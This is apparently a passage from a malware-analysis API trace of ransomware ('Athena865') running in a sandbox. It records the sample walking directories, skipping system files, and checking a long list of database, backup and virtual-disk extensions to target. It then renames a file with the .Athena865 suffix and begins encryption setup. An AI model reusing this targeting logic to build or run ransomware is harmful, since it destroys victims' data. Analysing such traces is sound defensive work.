ftLastAccessTime.dwLowDateTime=0xbf5322e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbf5322e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.771] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.771] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.772] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0090.772] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0090.772] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf5322e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbf5322e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0090.772] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0090.772] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".") returned 1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="..") returned 1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="windows") returned -1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="bootmgr") returned 1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="temp") returned -1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="pagefile.sys") returned -1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="boot") returned 1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ids.txt") returned 1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ntuser.dat") returned -1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="perflogs") returned -1 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="MSBuild") returned 1 [0090.772] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0090.772] lstrcpyW (in: lpString1=0x241e890, lpString2="msoeres.dll.mui" | out: lpString1="msoeres.dll.mui") returned="msoeres.dll.mui" [0090.772] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0090.772] lstrlenW (lpString="Athena865") returned 9 [0090.772] lstrcmpiW (lpString1="s.dll.mui", lpString2="Athena865") returned 1 [0090.772] lstrlenW (lpString=".dll") returned 4 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".dll") returned 1 [0090.772] lstrlenW (lpString=".lnk") returned 4 [0090.772] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".lnk") returned 1 [0090.772] lstrlenW (lpString=".ini") returned 4 [0090.773] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".ini") returned 1 [0090.773] lstrlenW (lpString=".sys") returned 4 [0090.773] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".sys") returned 1 [0090.773] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0090.773] lstrlenW (lpString="bak") returned 3 [0090.773] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.773] lstrlenW (lpString="ba_") returned 3 [0090.773] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.773] lstrlenW (lpString="dbb") returned 3 [0090.773] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.773] lstrlenW (lpString="vmdk") returned 4 [0090.773] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.773] lstrlenW (lpString="rar") returned 3 [0090.773] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.773] lstrlenW (lpString="zip") returned 3 [0090.773] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.773] lstrlenW (lpString="tgz") returned 3 [0090.773] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.773] lstrlenW (lpString="vbox") returned 4 [0090.773] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.773] lstrlenW (lpString="vdi") returned 3 [0090.773] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.773] lstrlenW (lpString="vhd") returned 3 [0090.773] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.773] lstrlenW (lpString="vhdx") returned 4 [0090.773] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.773] lstrlenW (lpString="avhd") returned 4 [0090.773] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.773] lstrlenW (lpString="db") returned 2 [0090.773] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.774] lstrlenW (lpString="db2") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.774] lstrlenW (lpString="db3") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.774] lstrlenW (lpString="dbf") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.774] lstrlenW (lpString="mdf") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.774] lstrlenW (lpString="mdb") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.774] lstrlenW (lpString="sql") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.774] lstrlenW (lpString="sqlite") returned 6 [0090.774] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0090.774] lstrlenW (lpString="sqlite3") returned 7 [0090.774] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0090.774] lstrlenW (lpString="sqlitedb") returned 8 [0090.774] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0090.774] lstrlenW (lpString="xml") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.774] lstrlenW (lpString="$er") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.774] lstrlenW (lpString="4dd") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.774] lstrlenW (lpString="4dl") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.774] lstrlenW (lpString="^^^") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.774] lstrlenW (lpString="abs") returned 3 [0090.774] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.775] lstrlenW (lpString="abx") returned 3 [0090.775] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.775] lstrlenW (lpString="accdb") returned 5 [0090.775] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0090.775] lstrlenW (lpString="accdc") returned 5 [0090.775] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0090.775] lstrlenW (lpString="accde") returned 5 [0090.775] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0090.775] lstrlenW (lpString="accdr") returned 5 [0090.775] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0090.775] lstrlenW (lpString="accdt") returned 5 [0090.775] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0090.775] lstrlenW (lpString="accdw") returned 5 [0090.775] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0090.775] lstrlenW (lpString="accft") returned 5 [0090.775] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0090.775] lstrlenW (lpString="adb") returned 3 [0090.775] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.775] lstrlenW (lpString="adb") returned 3 [0090.775] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.775] lstrlenW (lpString="ade") returned 3 [0090.775] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.775] lstrlenW (lpString="adf") returned 3 [0090.775] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.775] lstrlenW (lpString="adn") returned 3 [0090.775] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.775] lstrlenW (lpString="adp") returned 3 [0090.775] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.775] lstrlenW (lpString="alf") returned 3 [0090.775] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.776] lstrlenW (lpString="ask") returned 3 [0090.776] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.776] lstrlenW (lpString="btr") returned 3 [0090.776] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.776] lstrlenW (lpString="cat") returned 3 [0090.776] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.776] lstrlenW (lpString="cdb") returned 3 [0090.776] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.776] lstrlenW (lpString="ckp") returned 3 [0090.776] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.776] lstrlenW (lpString="cma") returned 3 [0090.776] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.776] lstrlenW (lpString="cpd") returned 3 [0090.776] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.776] lstrlenW (lpString="dacpac") returned 6 [0090.776] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0090.776] lstrlenW (lpString="dad") returned 3 [0090.776] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.776] lstrlenW (lpString="dadiagrams") returned 10 [0090.776] lstrcmpiW (lpString1="es.dll.mui", lpString2="dadiagrams") returned 1 [0090.776] lstrlenW (lpString="daschema") returned 8 [0090.776] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0090.776] lstrlenW (lpString="db-journal") returned 10 [0090.776] lstrcmpiW (lpString1="es.dll.mui", lpString2="db-journal") returned 1 [0090.776] lstrlenW (lpString="db-shm") returned 6 [0090.776] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0090.776] lstrlenW (lpString="db-wal") returned 6 [0090.776] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0090.776] lstrlenW (lpString="dbc") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.777] lstrlenW (lpString="dbs") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.777] lstrlenW (lpString="dbt") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.777] lstrlenW (lpString="dbv") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.777] lstrlenW (lpString="dbx") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.777] lstrlenW (lpString="dcb") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.777] lstrlenW (lpString="dct") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0090.777] lstrlenW (lpString="dcx") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0090.777] lstrlenW (lpString="ddl") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0090.777] lstrlenW (lpString="dlis") returned 4 [0090.777] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0090.777] lstrlenW (lpString="dp1") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0090.777] lstrlenW (lpString="dqy") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0090.777] lstrlenW (lpString="dsk") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0090.777] lstrlenW (lpString="dsn") returned 3 [0090.777] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0090.777] lstrlenW (lpString="dtsx") returned 4 [0090.777] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0090.777] lstrlenW (lpString="dxl") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0090.778] lstrlenW (lpString="eco") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0090.778] lstrlenW (lpString="ecx") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0090.778] lstrlenW (lpString="edb") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0090.778] lstrlenW (lpString="epim") returned 4 [0090.778] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0090.778] lstrlenW (lpString="fcd") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0090.778] lstrlenW (lpString="fdb") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0090.778] lstrlenW (lpString="fic") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0090.778] lstrlenW (lpString="flexolibrary") returned 12 [0090.778] lstrcmpiW (lpString1="eres.dll.mui", lpString2="flexolibrary") returned -1 [0090.778] lstrlenW (lpString="fm5") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0090.778] lstrlenW (lpString="fmp") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0090.778] lstrlenW (lpString="fmp12") returned 5 [0090.778] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0090.778] lstrlenW (lpString="fmpsl") returned 5 [0090.778] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0090.778] lstrlenW (lpString="fol") returned 3 [0090.778] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0090.778] lstrlenW (lpString="fp3") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0090.779] lstrlenW (lpString="fp4") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0090.779] lstrlenW (lpString="fp5") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0090.779] lstrlenW (lpString="fp7") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0090.779] lstrlenW (lpString="fpt") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0090.779] lstrlenW (lpString="frm") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0090.779] lstrlenW (lpString="gdb") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.779] lstrlenW (lpString="gdb") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.779] lstrlenW (lpString="grdb") returned 4 [0090.779] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0090.779] lstrlenW (lpString="gwi") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0090.779] lstrlenW (lpString="hdb") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0090.779] lstrlenW (lpString="his") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0090.779] lstrlenW (lpString="ib") returned 2 [0090.779] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0090.779] lstrlenW (lpString="idb") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0090.779] lstrlenW (lpString="ihx") returned 3 [0090.779] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0090.780] lstrlenW (lpString="itdb") returned 4 [0090.780] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0090.780] lstrlenW (lpString="itw") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0090.780] lstrlenW (lpString="jet") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0090.780] lstrlenW (lpString="jtx") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0090.780] lstrlenW (lpString="kdb") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0090.780] lstrlenW (lpString="kexi") returned 4 [0090.780] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0090.780] lstrlenW (lpString="kexic") returned 5 [0090.780] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0090.780] lstrlenW (lpString="kexis") returned 5 [0090.780] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0090.780] lstrlenW (lpString="lgc") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0090.780] lstrlenW (lpString="lwx") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0090.780] lstrlenW (lpString="maf") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0090.780] lstrlenW (lpString="maq") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0090.780] lstrlenW (lpString="mar") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0090.780] lstrlenW (lpString="marshal") returned 7 [0090.780] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0090.780] lstrlenW (lpString="mas") returned 3 [0090.780] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0090.781] lstrlenW (lpString="mav") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0090.781] lstrlenW (lpString="maw") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0090.781] lstrlenW (lpString="mdbhtml") returned 7 [0090.781] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0090.781] lstrlenW (lpString="mdn") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0090.781] lstrlenW (lpString="mdt") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0090.781] lstrlenW (lpString="mfd") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0090.781] lstrlenW (lpString="mpd") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0090.781] lstrlenW (lpString="mrg") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0090.781] lstrlenW (lpString="mud") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0090.781] lstrlenW (lpString="mwb") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0090.781] lstrlenW (lpString="myd") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0090.781] lstrlenW (lpString="ndf") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0090.781] lstrlenW (lpString="nnt") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0090.781] lstrlenW (lpString="nrmlib") returned 6 [0090.781] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0090.781] lstrlenW (lpString="ns2") returned 3 [0090.781] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0090.782] lstrlenW (lpString="ns3") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0090.782] lstrlenW (lpString="ns4") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0090.782] lstrlenW (lpString="nsf") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0090.782] lstrlenW (lpString="nv") returned 2 [0090.782] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0090.782] lstrlenW (lpString="nv2") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0090.782] lstrlenW (lpString="nwdb") returned 4 [0090.782] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0090.782] lstrlenW (lpString="nyf") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0090.782] lstrlenW (lpString="odb") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.782] lstrlenW (lpString="odb") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.782] lstrlenW (lpString="oqy") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0090.782] lstrlenW (lpString="ora") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0090.782] lstrlenW (lpString="orx") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0090.782] lstrlenW (lpString="owc") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0090.782] lstrlenW (lpString="p96") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0090.782] lstrlenW (lpString="p97") returned 3 [0090.782] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0090.783] lstrlenW (lpString="pan") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0090.783] lstrlenW (lpString="pdb") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0090.783] lstrlenW (lpString="pdm") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0090.783] lstrlenW (lpString="pnz") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0090.783] lstrlenW (lpString="qry") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0090.783] lstrlenW (lpString="qvd") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0090.783] lstrlenW (lpString="rbf") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0090.783] lstrlenW (lpString="rctd") returned 4 [0090.783] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0090.783] lstrlenW (lpString="rod") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0090.783] lstrlenW (lpString="rodx") returned 4 [0090.783] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0090.783] lstrlenW (lpString="rpd") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0090.783] lstrlenW (lpString="rsd") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0090.783] lstrlenW (lpString="sas7bdat") returned 8 [0090.783] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0090.783] lstrlenW (lpString="sbf") returned 3 [0090.783] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0090.783] lstrlenW (lpString="scx") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0090.784] lstrlenW (lpString="sdb") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0090.784] lstrlenW (lpString="sdc") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0090.784] lstrlenW (lpString="sdf") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0090.784] lstrlenW (lpString="sis") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0090.784] lstrlenW (lpString="spq") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0090.784] lstrlenW (lpString="te") returned 2 [0090.784] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0090.784] lstrlenW (lpString="teacher") returned 7 [0090.784] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0090.784] lstrlenW (lpString="tmd") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0090.784] lstrlenW (lpString="tps") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0090.784] lstrlenW (lpString="trc") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.784] lstrlenW (lpString="trc") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.784] lstrlenW (lpString="trm") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0090.784] lstrlenW (lpString="udb") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0090.784] lstrlenW (lpString="udl") returned 3 [0090.784] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0090.785] lstrlenW (lpString="usr") returned 3 [0090.785] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0090.785] lstrlenW (lpString="v12") returned 3 [0090.785] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0090.785] lstrlenW (lpString="vis") returned 3 [0090.785] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0090.785] lstrlenW (lpString="vpd") returned 3 [0090.785] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0090.785] lstrlenW (lpString="vvv") returned 3 [0090.785] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0090.785] lstrlenW (lpString="wdb") returned 3 [0090.785] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0090.785] lstrlenW (lpString="wmdb") returned 4 [0090.785] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0090.785] lstrlenW (lpString="wrk") returned 3 [0090.785] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0090.785] lstrlenW (lpString="xdb") returned 3 [0090.785] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0090.785] lstrlenW (lpString="xld") returned 3 [0090.785] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0090.785] lstrlenW (lpString="xmlff") returned 5 [0090.785] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0090.785] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui.Athena865") returned 61 [0090.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui.Athena865" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.786] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui.Athena865" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.786] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=518144) returned 1 [0090.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.787] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.787] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.787] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.788] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7eb00, lpName=0x0) 